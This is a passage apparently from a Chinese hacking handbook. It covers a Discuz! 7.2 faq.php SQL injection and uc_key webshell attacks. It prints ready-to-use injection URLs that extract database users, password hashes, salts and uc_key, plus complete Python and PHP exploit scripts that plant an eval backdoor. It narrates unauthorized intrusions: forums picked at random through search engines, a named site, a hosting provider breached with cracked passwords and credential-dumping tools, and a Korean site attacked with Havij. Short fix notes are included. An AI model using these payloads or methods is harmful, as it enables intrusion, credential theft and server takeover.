5.7 Discuz! 7.2 faq.php文件SQL注入漏洞分析及利用实战

最近,网上公开了Discuz! 7.2 faq.php文件SQL注入0day漏洞,通过对文件漏洞分析及测试,效果不错。公开利用EXP的需要对SQL语句及数据库等知识非常了解,在某些情况下,需要多种技术配合使用才能最终攻克目标。

下面就对该漏洞的代码及实战利用、获取管理员密码的利用、uc_key获取WebShell、插件导入获取WebShell等进行探讨。

5.7.1 代码分析

本次存在漏洞的文件为faq.php,打开该文件后,从第148行开始,代码如下。



     } elseif($action == 'grouppermission') {

       require_once './include/forum.func.php';

       require_once language('misc');

       $permlang = $language;

       unset($language);

       $searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid;

       $groups = $grouplist = array();

       $query  =  $db-<query("SELECT  groupid,  type,  grouptitle,  radminid  FROM

{$tablepre}usergroups  ORDER  BY  (creditshigher<>'0'  ||  creditslower<>'0'),

creditslower");

       $cgdata = $nextgid = '';

       while($group = $db->fetch_array($query)) {

         $group['type'] = $group['type'] == 'special' && $group['radminid'] ?

'specialadmin' : $group['type'];

         $groups[$group['type']][]  =  array($group['groupid'],

$group['grouptitle']);

         $grouplist[$group['type']]  .=  '<option

value="'.$group['groupid'].'"'.($searchgroupid  ==  $group['groupid']  ?  '

selected="selected"' : '').'>'.$group['grouptitle'].($groupid == $group['groupid'] ?

' &larr;' : '').'</option>';

         if($group['groupid'] == $searchgroupid) {

           $cgdata = array($group['type'], count($groups[$group['type']]) - 1,

$group['groupid']);

         }

       }

       if($cgdata[0] == 'member') {

         $nextgid = $groups[$cgdata[0]][$cgdata[1] + 1][0];

         if($cgdata[1] > 0) {

           $gids[1] = $groups[$cgdata[0]][$cgdata[1] - 1];

         }

         $gids[2] = $groups[$cgdata[0]][$cgdata[1]];

         if($cgdata[1] < count($groups[$cgdata[0]]) - 1) {

           $gids[3] = $groups[$cgdata[0]][$cgdata[1] + 1];

           if(count($gids) == 2) {

             $gids[4] = $groups[$cgdata[0]][$cgdata[1] + 2];

           }

         } elseif(count($gids) == 2) {

           $gids[0] = $groups[$cgdata[0]][$cgdata[1] - 2];

         }

       } else {

         $gids[1] = $groups[$cgdata[0]][$cgdata[1]];

       }

       ksort($gids);

       $groupids = array();

       foreach($gids as $row) {

         $groupids[] = $row[0];

       }

       $query  =  $db->query("SELECT  *  FROM  {$tablepre}usergroups  u  LEFT  JOIN

{$tablepre}admingroups  a  ON  u.groupid=a.admingid  WHERE  u.groupid  IN

(".implodeids($groupids).")");

       $groups = array();

首先,定义一个数组groupids,然后遍历$gids(这也是一个数组,就是$_GET[gids]),将数组中所有值的第一位取出来放在groupids中。为什么这个操作造成了注入?曾有技术人员经提出通过提取魔术引号产生的“\”字符带来的安全问题,这个问题在这里又一次完美体现。Discuz!会在全局对GET数组进行addslashes转义,也就是说,会将“'”转义成“\'”。所以,如果我们的传入的参数是“gids[1]='”,就会被转义成“$gids[1]=\'”,而赋值语句“$groupids[] = $row[0]”就相当于取了字符串的第一个字符,也就是“\”(把转义符号取出来了)。在将数据放入SQL语句之前,需要通过implodeids函数进行处理,implodeids函数如下。



     function implodeids($array) {

         if(!empty($array)) {

             return "'".implode("','", is_array($array) ? $array : array($array))."'";

         } else {

             return '';

         }

     }

这是一个很简单的函数,就是将刚才的$groupids数组用“,”分开,组成一个类似“'1','2','3','4'”的字符串返回。但是,我们的数组刚取出来一个转义符,它会将这里的一个正常的“'”转义,如“'1','\','3','4'”。

有没有看出不同?第四个单引号被转义了,也就是说,第五个单引号和第三个单引号闭合。这样,这个位置就逃逸出了单引号,也就是产生的注入。我们把报错语句放在这个位置,就能报错。

利用上面的思路,通过提交“faq.php?xigr[]='&xigr[] [uid]=evilcode”这样的构造形式可以很容易地突破GPC或类似的安全处理,形成SQL注入漏洞。构造利用代码如下。



     faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from

(select count(*),concat((select (select (select concat(username,0x27,password) from

cdb_members  limit  1)  )  from  `information_schema`.tables  limit

0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

5.7.2 可利用EXP代码

源码1 获取MySQL用户信息



     http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][

0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%

29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%

20x%29a%29%23

源码2 获取数据库版本信息



     http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][

0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%

28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20

by%20x%29a%29%23

源码3 获取数据库信息



     http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][

0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database

%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20info

rmation_schema.tables%20group%20by%20x%29a%29%23

源码4 获取数据库用户名和密码



     http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][

0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(use

r,0x3a,password,0x3a)%20from%20mysql.user  limit  0,1  ),floor(rand(0)*2))

x%20from%20information_schema.tables%20group%20by%20x)a)%23

源码5 获取用户名、电子邮件地址、密码和SALT信息



     http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][

0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28selec

t%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%

20cdb_uc_members  limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20

information_schema.tables%20group%20by%20x%29a%29%23

源码6 获取uc_key



     http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][

0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3

a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3

a)x%20from%20information_schema.tables%20group%20by%20x)a)%23

源码7 获取指定uid的密码



     http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][

0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28selec

t%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memb

ers  where  uid=1  %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20

information_schema.tables%20group%20by%20x%29a%29%23

5.7.3 EXP工具的使用

网上公布了可利用的EXP工具,通过该工具可以快速获取管理员密码,但有时候admin账号并不是管理员账号。EXP工具的利用方式如下。

01 直接获取WebShell,一句话密码为“i0day”,示例如下。



     php dz7.2.php www.antian365.com / 1 

02 获取管理密码,示例如下。



     php dz7.2.php www.antian365.com / 2

5.7.4 漏洞思路的利用

• 通过EXP直接获取WebShell。如果不能获取,则需要获取管理员密码。
• 对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询,需要SALT,获取的SALT要去掉最后一个数字“1”,示例如下,而需要查询的是“c6c45f444cf6a41b309c9401ab 9a55a7:066ff7”。


     php dz7.2.php www.antian365.com / 2

     admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71

• 通过uc_key获取Shell。

• 进入后台,添加插件获取WebShell。
• “http://www.antian365.com/config.inc.php”的一句话密码是“i0day”或者“cmd”。
注意
有时通过工具获取的密码不一定是管理员密码,这就需要手工获取管理员密码。如果有Secques,就需要进行暴力破解。

5.7.5 修复方法

第一种方法是直接删除faq.php文件。该文件为显示论坛帮助所用,功能相对独立,可以在服务器上禁止访问该文件,或者直接将其删除,这些操作对论坛的常规功能没有任何影响。

第二种方法是手工修复faq.php文件。用编辑器打开该文件,查找代码“} elseif($action=='grouppermission') {”,在其下面添加“$gids = array ();”即可。

5.7.6 实际利用案例

下面给出该漏洞的实际利用案例。

1.直接获取WebShell和管理员密码

通过Google、百度等搜索引擎搜索“Powered by Discuz! 7.2”,在搜索结果中随机选取一个论坛,在DOS命令提示符下输入“php dz7.2.php www1 .xxxx.com/1”及“php dz7.2.php www1.xxxx.com/2”命令,如图5-43所示,直接获取该网站的WebShell及管理员密码。

图5-43 获取WebShell及管理员密码

注意
(1)需要本地搭建PHP运行环境。本例使用的是ComsenzEXP X2.5,下载地址为http://www.comsenz. com/downloads/install/exp/,安装后需要修改php.ini文件。该文件存储在该软件的PHP目录中,如“D:\ ComsenzEXP\ PHP5”。打开php.ini文件,将以下内容修改为实际安装文件的路径,否则执行PHP命令时会报错。


     zend_extension_manager.optimizer_ts="D:\ComsenzEXP\PHP5\Zend"

     zend_extension_ts="D:\ComsenzEXP\PHP5\Zend\ZendExtensionManager.dll"

(2)“/”后需要留一个空格。如果存在漏洞则有结果,无结果表明无法获取WebShell或者管理员密码。

在“中国菜刀”中对上面获取的WebShell进行连接测试,如图5-44所示,成功获取WebShell。

图5-44 对WebShell进行连接测试

2.通过uc_key获取WebShell测试

01 获取uc_key值

在本地打开config.inc.php文件,如图5-45所示,将uc_key值复制。uc_key可能为64位,也可能为124位,可以通过查看数据库中cdb_uc_applications表的authkey字段值获取。

图5-45 获取uc_key值

02 修改uc_key_dz72_me.php程序配置

在uc_key漏洞利用程序uc_key_dz72_me.php中,需要手动配置host和uc_key的值,如图5-46所示。

图5-46 修改漏洞利用程序配置

03 修改Discuz! 7.2的实际安装路径

uc_key漏洞利用程序uc_key_dz72_me.php默认安装在根目录中,但在实际使用中,可能安装在其他目录中,如“bbs”、“forum”等。如果没有安装在默认根目录中,则需要在send()函数中修改uc.php的真实路径,如修改为“/dz72/api/uc.php”。如果安装在默认根目录中,则为“api/uc.php”,其他保持不变,如图5-47所示。

图5-47 修改POST参数

04 执行利用程序

在php.exe程序所在目录中执行“php uc_key_dz72_me.php”命令,如图5-48所示,会出现“1”的提示,表明成功获取WebShell。

图5-48 执行漏洞利用程序

05 查看config.inc.php文件

再次打开config.inc.php文件,如图5-49所示,uc_key中新增了一句话后门代码,使用“中国菜刀”连接,密码为“cmd”。

图5-49 成功获取WebShell

3.手动获取uc_key和WebShell

01 获取uc_key前62位的值

在浏览器的地址栏中,在目标地址后面加上“/faq.php?action=grouppermission&gids[99]=%27&gids[100] [0]=)%20and%20(select%201 %20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select% 20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23”,执行后获取uc_key前62位的值,如图5-50所示。

图5-50 获取uc_key前62位的值

02 获取剩余的uc_key值

在上述代码中,将“(authkey,1,62)”修改为“(authkey,61,64)”,如图5-51所示,获取uc_key值“j2J6”,去掉“j2”,将前后值相加,即为uc_key的真实值。如果authkey的值超过64位,则修改为“(authkey,61,128)”。substr()函数一次只能获取62位的值。直接使用substr(authkey,1,124)函数也只能获取62位的值,如图5-52所示。

图5-51 获取uc_key的剩余值

图5-52 一次只能获取62位的值

03 获取WebShell

将uc_key的值、host的值及真实的路径值进行修改,然后通过uc_key漏洞利用程序成功获取WebShell,如图5-53所示。

图5-53 获取WebShell

04 修补程序漏洞

在faq.php文件中找到“action==grouppermission”代码,在其后添加“$gids = array();”,如图5-54所示,保存后即可修复faq.php注入漏洞。

图5-54 修复faq.php文件注入漏洞

4.管理员不是默认的获取WebShell

01 获取admin用户的密码,但admin不是管理员账号

通过漏洞利用程序,获取管理员账号admin的密码和SALT值,如图5-55所示,在cmd5.com网站进行查询。购买破解后的密码,使用其登录网站,如图5-56所示,虽然为admin账号,但该账号不是管理员账号。

图5-55 获取admin账号的密码

图5-56 登录网站

02 获取管理团队的账号和uid值

在论坛中依次单击“论坛统计”→“管理团队”选项,如图5-57所示,获取所有管理团队的用户账号,单击该账号可以获取uid值。分别记下其uid值,在后续程序中还需要使用。

图5-57 获取管理员账号和uid值

03 获取真实管理员的账号、密码和SALT值

在浏览器中输入以下代码,获取指定uid的密码、电子邮件和SALT值。



     http://www.antian365.com/faq.php?action=grouppermission&gids[99]=%27&gids[10

0][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28se

lect%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_m

embers  where  uid=50477  %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20

from%20information_schema.tables%20group%20by%20x%29a%29%23

通过出错信息获取其相应的值,如图5-58所示。

图5-58 获取指定管理员的账号、密码和SALT值

然后,通过破解管理员密码登录后台,添加插件,即可成功获取WebShell。

5.8 实战UC_Key获取Discuz! X2.5论坛的WebShell

某技术人员在乌云漏洞平台公布了在Discuz!环境中利用uc_key进行Getshel的文章(http://www.wooyun.org/bugs/wooyun-2014-048137),网上随即公开了两套通过uc_key获取WebShell的代码。虽然最终成功获取了WebShell,但在获取WebShell的过程中,有一些经验值得分享。

uc_key是Discuz! UC客户端与服务端通信的通信密钥,因此,使用uc_key只能获取UCenter Client的WebShell,即Discuz!论坛的WebShell。如果一个服务器上只有UCenter Server,是不能通过uc_key获取该服务器上的WebShell的。不过,可以通过uc_key将服务器上的数据备份并重置用户口令。下面将如何测试网上公布的0day代码和实战过程进行分享。

5.8.1 测试网上公布的0day代码

在搜索引擎中检索关键词“uc_key”,可以方便地找到一些通过uc_key获取WebShell的文章,通过阅读这些文章,可以顺利获取0day代码。

1.测试误区

下载uc_key.php和uc_key.py代码后,首先通过程序uc_key.py进行编译,结果出现错误提示“IndexError: list index out of range”,如图5-59所示。搜索错误提示,没有找到解决方法。直接执行“python uc_key.py 127.0.0.1”命令,则可以顺利执行。

图5-59 测试uc_key.py出错

2.uc_key.php测试

01 获取uc_key值

uc_key可以通过“config\config_ucenter.php”文件获取,也可以通过登录后台获取。如图5-60所示,依次单击“站长”→“Ucenter设置”选项,复制“Ucenter通信密钥”文本框中的值即可。

图5-60 获取uc_key的值

02 获取WebShell

在对Discuz! X3.1的测试过程中发现,如果系统开启了防火墙,会禁止危险脚本的访问,如图5-61所示,对利用代码进行屏蔽和阻止,会导致WebShell获取失败。如果数据库没有开启,也会出现同样的错误提示。如果在最后的结果中出现提示“1”,如图5-62所示,表示获取WebShell成功。

图5-61 获取WebShell失败

图5-62 获取WebShell成功

对于Discuz! X2.5,则可以轻松获取WebShell。执行“php uc_key.php”命令后,会直接修改“config\config_ucenter.php”文件,如图5-63所示,密码为“1”。

图5-63 修改配置文件获取WebShell

通过uc_key.php获取WebShell,每次都需要修改uc_key.php文件中的host和uc_key值,使用起来不太方便,而通过uc_key.py则方便很多。如图5-64所示,通过执行“python uc_key.py host uc_ key值”,可以直接获取WebShell。

图5-64 通过uc_key.py文件获取WebShell

5.8.2 实战获取WebShell

下面给出一个通过uc_key获取WebShell的实例。

01 搜索敏感配置文件

在Google的搜索栏中输入“config/config_global.php.bak”和“config/config_ucenter.php.bak”,如图5-65所示,对搜索结果进行分析和整理。在搜索过程中可以加入“index of”以获取敏感信息。

图5-65 搜索敏感信息

02 查看搜索结果

在搜索结果中获取“www.tjeco.org/edusite/config”,明显存在文件路径泄露漏洞,如图5-66所示,单击文件超链接,尝试获取文件的具体内容。经过测试,发现无法获取文件内容,无法下载或者查看BAK文件,所以,直接获取uc_key的值在此处行不通。

图5-66 获取敏感文件泄露漏洞

03 获取数据库备份文件

对该站点存在的数据库地址进行浏览和查看,如图5-67所示,管理员对网站数据进行过备份,单击可以直接下载。

图5-67 下载数据库

04 破解管理员密码

下载120903_dl8Ni1-1.sql文件,将该数据库备份文件导入本地MySQL数据库进行查看,如图5-68所示,获取用户密码等信息。通过cmd5网站破解管理员账号,如图5-69所示,密码为“admin”。

图5-68 获取用户密码等信息

图5-69 获取管理员密码

05 获取uc_key值

如图5-70所示,通过后台管理系统获取uc_key通信密钥值。

图5-70 获取uc_key值

06 获取WebShell

将该值通过“php uc_key.php”或“python uc_key.py www.xxx.org uc_key”命令进行漏洞利用,成功获取WebShell,如图5-71所示。通过WebShell可以看出,该网站曾经被入侵,入侵者留了一个大马。

图5-71 成功获取WebShell

07 获取服务器系统管理员账号

如图5-72所示,通过WebShell命令提示符,执行“whoami”命令,得知脚本为system权限,上传wce.exe文件,通过“wce-w”命令直接获取系统管理员密码。

图5-72 获取系统管理员账号

5.8.3 防范与总结

成功安装Discuz!论坛后,可以通过以下设置加强论坛的安全性。

• 严格设置论坛目录权限,如将“D: \ComsenzEXP\wwwroot\config”设置为没有写入权限。
• 对“Apache+PHP+MySQL”平台授予最低权限,不要授予system权限。可以通过WebShell进行测试。
• 备份数据库后,要及时下载并删除数据库备份文件。

• 设置强健的管理员密码、安全验证问题及答案。
• 关注最新的Discuz!论坛漏洞和利用方法,及时更新补丁程序。

5.8.4 程序源代码

源码1 uc_key.py



     #! /usr/bin/env python

     #coding=utf-8

     import hashlib

     import time

     import math

     import base64

     import urllib

     import urllib2

     import sys

     

     def microtime(get_as_float = False) :

         if get_as_float:

             return time.time()

         else:

             return '%.8f %d' % math.modf(time.time())

     def get_authcode(string, key = ''):

         ckey_length = 4

         key = hashlib.md5(key).hexdigest()

         keya = hashlib.md5(key[0:16]).hexdigest()

         keyb = hashlib.md5(key[16:32]).hexdigest()

         keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

         #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]

         cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

         key_length = len(cryptkey)

         string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

         string_length = len(string)

         result = ''

         box = range(0, 256)

         rndkey = dict()

         for i in range(0,256):

             rndkey[i] = ord(cryptkey[i % key_length])

         j=0

         for i in range(0,256):

             j = (j + box[i] + rndkey[i]) % 256

             tmp = box[i]

             box[i] = box[j]

             box[j] = tmp

         a=0

         j=0

         for i in range(0,string_length):

             a = (a + 1) % 256

             j = (j + box[a]) % 256

             tmp = box[a]

             box[a] = box[j]

             box[j] = tmp

             result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

         return keyc + base64.b64encode(result).replace('=', '')

     def get_shell(url,key,host):

         '''

         //发送命令获取 WebShell

         '''

         headers={'Accept-Language':'zh-cn',

         'Content-Type':'application/x-www-form-urlencoded',

         'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

         'Referer':url

         }

         tm = time.time()+10*3600

         tm="time=%d&action=updateapps" %tm

         code = urllib.quote(get_authcode(tm,key))

         url=url+"?code="+code

         data1='''<?xml version="1.0" encoding="ISO-8859-1"?>

                 <root>

                 <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>

                 </root>'''

         try:

             req=urllib2.Request(url,data=data1,headers=headers)

             ret=urllib2.urlopen(req)

         except:

             return "访问出错"

         data2='''<?xml version="1.0" encoding="ISO-8859-1"?>

                 <root>

                 <item id="UC_API">http://aaa</item>

                 </root>'''

         try:

             req=urllib2.Request(url,data=data2,headers=headers)

             ret=urllib2.urlopen(req)

         except:

             return "error"

         return "webshell:"+host+"/config/config_ucenter.php,password:1"

     if __name__ == '__main__':

         host=sys.argv[1]

         key=sys.argv[2]

         url=host+"/api/uc.php"

         print get_shell(url,key,host)

源码2 uc_key.php



     <?php

     // 代码版权归原作者所有!

         $timestamp = time()+10*3600;

         $host="127.0.0.1";

     $uc_key="0e4b66b816fb33cf20b7686d6492xxxx8f5479fb2519895a1e7d43a52fde6f46";

         $code=urlencode(_authcode("time=$timestamp&action=updateapps",  'ENCODE',

$uc_key));

         $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

     <root>

      <item id="UC_API">http://xxx\');eval($_POST[b]);//</item>

     </root>';

         $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

     <root>

      <item id="UC_API">http://aaa</item>

     </root>';

         $html1 = send($cmd1);

         echo $html1;

         $html2 = send($cmd2);

         echo $html2;

     function send($cmd){

         global $host,$code;

         $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";

         $message .= "Accept: */*\r\n";

         $message .= "Referer: ".$host."\r\n";

         $message .= "Accept-Language: zh-cn\r\n";

         $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

         $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1;

SV1)\r\n";

         $message .= "Host: ".$host."\r\n";

         $message .= "Content-Length: ".strlen($cmd)."\r\n";

         $message .= "Connection: Close\r\n\r\n";

         $message .= $cmd;

        //var_dump($message);

         $fp = fsockopen($host, 80);

         fputs($fp, $message);

         $resp = '';

         while ($fp && !feof($fp))

             $resp .= fread($fp, 1024);

         return $resp;

     }

     function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

         $ckey_length = 4;

         $key = md5($key ? $key : UC_KEY);

         $keya = md5(substr($key, 0, 16));

         $keyb = md5(substr($key, 16, 16));

         $keyc  =  $ckey_length  ?  ($operation  ==  'DECODE'  ?  substr($string,  0,

$ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

         $cryptkey = $keya.md5($keya.$keyc);

         $key_length = strlen($cryptkey);

         $string  =  $operation  ==  'DECODE'  ?  base64_decode(substr($string,

$ckey_length))  :  sprintf('%010d',  $expiry  ?  $expiry  +  time()  :

0).substr(md5($string.$keyb), 0, 16).$string;

         $string_length = strlen($string);

         $result = '';

         $box = range(0, 255);

         $rndkey = array();

         for($i = 0; $i <= 255; $i++) {

             $rndkey[$i] = ord($cryptkey[$i % $key_length]);

         }

         for($j = $i = 0; $i < 256; $i++) {

             $j = ($j + $box[$i] + $rndkey[$i]) % 256;

             $tmp = $box[$i];

             $box[$i] = $box[$j];

             $box[$j] = $tmp;

         }

         for($a = $j = $i = 0; $i < $string_length; $i++) {

             $a = ($a + 1) % 256;

             $j = ($j + $box[$a]) % 256;

             $tmp = $box[$a];

             $box[$a] = $box[$j];

             $box[$j] = $tmp;

             $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

         }

         if($operation == 'DECODE') {

             if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0)

&& substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

                 return substr($result, 26);

             } else {

                     return '';

                 }

         } else {

             return $keyc.str_replace('=', '', base64_encode($result));

         } 

     }

     ?>

5.9 对某虚拟主机的一次安全渗透

虚拟主机提供商所提供的服务器的安全性相对较高,即使其中的某个站点存在安全漏洞,也不会影响其他站点,攻击者无法获取其他站点的数据。在入侵中,对虚拟主机的入侵而言,如果针对某个站点不能入侵成功,那么攻击者往往会采用旁注的方法入侵虚拟主机上的其他站点,当成功得到其他站点的WebShell后,就可以获取指定站点的数据库、管理后台等信息,再实施深层次的渗透了。

对虚拟主机的渗透一般前半部分容易实现,后半部分相对较难。在本例中,虚拟主机设置相对还是安全,只有一个细节没有设置好,从而导致整个服务器乃至所管理的服务器群主机失陷。成功实施渗透后,笔者发现之后也有人成功拿到了该服务器的权限。下面就介绍整个安全渗透过程。

5.9.1 获取虚拟主机上某站点的WebShell

SQL注入、FTP口令扫描等都可以获取WebShell。笔者的WebShell算是比较牢固的,很早获取了一个虚拟主机的FTP配置文件。这个配置文件中列出了站点名称、FTP用户名及密码。直接设置好CuteFTP,上传“神秘提权超强版冷枫去后门”,在浏览器的地址栏中输入WebShell的地址,如图5-73所示,输入密码后可正常运行。

图5-73 获取WebShell

5.9.2 使用WebShell中的提权功能进行提权尝试

目前的WebShell功能很强大,只要能够想到的都能做到。在该WebShell中提供了很多提升权限的地方,如查看提权目录列表Program、pcAnywhere、Serv-u、RealServer、SQL、config、data、temp、Recycler等,如图5-74所示。不要小看这些目录,如果能够查看这些目录,而且具有读写权限,那么后面的渗透就容易多了。

图5-74 查看提权目录

在本例中,通过对Program、pcAnywhere、Serv-U、RealServer、SQL、config、data、temp、Recycler等可能提权的目录依次进行查看,如图5-75所示,不是无法访问就是路径未找到,因此,利用这些目录提权是行不通的。

图5-75 查看系统可读写目录

5.9.3 查看可写目录

在WebShell的功能列表中单击“查看可写目录”选项,如图5-76所示,WebShell会给出其可读写的所有目录,单击“详细报告”按钮可以查看详细情况。依次查看每一个可读写目录,如图5-77所示,对前三个磁盘(CDE)的查看结果都是无法读写。

图5-76 依次查看可读写文件目录

图5-77 获取相应文件路径失败

系统的“Temp”目录中可能会保留一些有用信息,而该主机的操作系统为Windows 2003,系统盘下的“Windows\temp”目录能够读取,所以,可以尝试从中获取可以利用的信息。在一些系统中,主机管理系统会将部分运行信息保留在临时会话中,由于程序运行完毕后未对“Temp”目录进行清理,因此,只要找到这些信息,也可以用来提升权限。

下载并打开“C:\Windows\temp”目录下的每一个文件,如图5-78所示,通过查看该目录中生成的sess_*文件,发现以“sess”开头的文件是该系统所提供虚拟主机的多个站点的临时会话,虽然有些会话中包含了用户账号等信息,但对本次提升权限意义不大。查看了其他文件,没有找到特别有用的信息。

图5-78 打开并查看“Temp”目录中的文件

继续对磁盘进行查看,发现G盘中有一个目录可以读写,如图5-79所示,其名称为“setup”。“setup”目录一般是管理员进行程序安装及设置时使用的目录。在该“setup”文件夹下有多个文件夹,对各个文件夹依次进行查看。

图5-79 获取G盘唯一可读写目录

说明
对整个磁盘进行查看,仅发现“setup”目录可读写,这极有可能是管理员在安装和设置程序后没有及时删除或者进行安全限制所致。

在查看文件夹及文件的过程中,在“vbs”文件夹中发现存在多个VBS文件。直接打开其中一个,如图5-80所示,GetPing.vbs是一个获取Ping功能的VBS文件。

图5-80 查看VBS文件

5.9.4 渗透过程

下面详细介绍渗透过程。

01 找到明文管理员密码

在查看G:\Setup\vbs中的一个TXT文件时,找到一个关键的地方——SiteManager,如图5-81所示。笔者曾经看过一篇有关虚拟主机渗透方法的文章,提到过使用SiteManager必须要有具备系统管理员权限的用户名和密码,在相关配置文件中会以明文形式存在,本次渗透就印证了这一点。

图5-81 找到SiteManager所用的管理员用户名和密码

02 查看远程终端端口

在WebShell中单击“特殊端口”选项,探测并查看系统特殊端口的开放情况。如图5-82所示,该服务器远程终端3389端口是开放的,由于该WebShell无法执行“netstat-an”等DOS命令,所以当该计算机的3389端口是打开的。

图5-82 获取端口开放情况

说明
使用WebShell读取的注册表数据不一定准确,在本例中就是这样:WebShell获取的3389端口是3389,而实际的终端端口是6688。笔者使用了一个笨方法,对该主机的所有端口都进行了探测,然后根据经验对开放的端口进行3389登录尝试。

03 进入系统

输入“mstsc”命令,打开远程终端登录器,输入IP地址及获取的用户名称和密码,成功进入系统,使用“IPconfig/all”命令查看,发现该计算机有3个IP地址,如图5-83所示。

图5-83 进入系统

5.9.5 渗透内外网

01 获取系统口令

使用3389远程终端登录,系统无法使用GetPw及PwDump(在DOS下获取密码的工具)等工具获取系统的密码,NC一传上去就不见了,上传多次都不成功。实在没有办法,直接下载Radmin 2.2并安装到服务器上,通过其Telnet执行“getpw $local”命令来获取其系统的Hash值,然后对获取的Hash值进行整理,并将其导入LC5中进行破解,如图5-84所示。

图5-84 破解系统账号

说明
破解系统账号的目的是对内部或者外部网络进行渗透。利用同一口令进行登录尝试,在一个大型网络中,使用同一口令的服务器还是蛮多的。通过分析研究发现,获取的其他账号和口令分别对应某一个域名的FTP账号和口令,不知道这是如何做到的。

02 探测相同网段具有该端口的远程终端IP地址

使用“sfind-p 6688 60.*.*.1 60.*.*.255”命令查看与被渗透成功的主机网段相同的开放6688端口的IP地址,如图5-85所示,找到4个IP地址。

图5-85 使用sfind命令探测开放6688端口的同网段的其他IP地址

03 使用获取的用户账号和密码进行登录

使用原来获取的用户账号和密码尝试登录,成功进入系统,如图5-86所示,该服务器有2个IP地址。

图5-86 成功进入新的服务器

04 启用内外网卡

查看“网络邻居”属性,发现计算机有多块网卡,其中有一块网卡被禁用了。为了访问内网,需要启用了内网网卡。非常遗憾,启动内网网卡后,远程终端连接失败,内网与外网断开了。此时,如果攻击者在远程终端上进行了不良操作,将会留下痕迹。

5.9.6 小结

本节写完时,笔者还在对口令进行破解。破解持续了一个星期,系统中仍有一个管理员账号没有破解成功。通过对同网段的3389端口开放情况进行探测,还有几十台计算机开放了3389端口。该网段均是国内某虚拟主机提供商的IP地址,从破解密码的困难程度可以侧面证明,该系统的管理员的安全意识还是很高的——一个星期了,密码都没有破解成功。本次渗透的关键是一个微小的设置。也许是管理员的一次疏忽大意,系统配置文件、安装文件、临时目录中保留的文件都可能成为攻击者成功渗透的有利条件。

5.10 使用Havij对某网站的一次渗透

本节分享一个使用Havij对网站进行渗透的案例。

5.10.1 SQL注入测试

在IE浏览器中正常打开网站http://www.xxxxxxxx.kr/index.php?id=1483,浏览网页,如图5-87所示,一切显示正常。在该网页地址后面添加一个单引号后访问该地址,发现显示内容发生了明显的变化,右侧显示了图片,说明可能存在SQL注入点,如图5-88所示。

图5-87 访问正常页面

图5-88 出错后显示的内容

5.10.2 使用Havij SQL注入攻击进行自动检测

打开Havij SQL注入工具,将存储在SQL注入点的地址复制到“Target”文本框中,然后单击“Analyze”按钮进行检测,如图5-89所示。该工具与Pangolin非常类似,不过界面更加简洁。检测结果表明,该地址存在SQL注入,其基本信息如下。

图5-89 获取数据



     Target:    http://www.xxxxxxx.kr/index.php?id=1483

     Host IP:   211.xxx.xxx.xxx

     Web Server:  Apache/2.2.3 (CentOS)

     Powered-by:  PHP/5.1.6

     DB Server:   MySQL >=5

     Current DB:  bxxxxc

5.10.3 获得管理员账号和密码

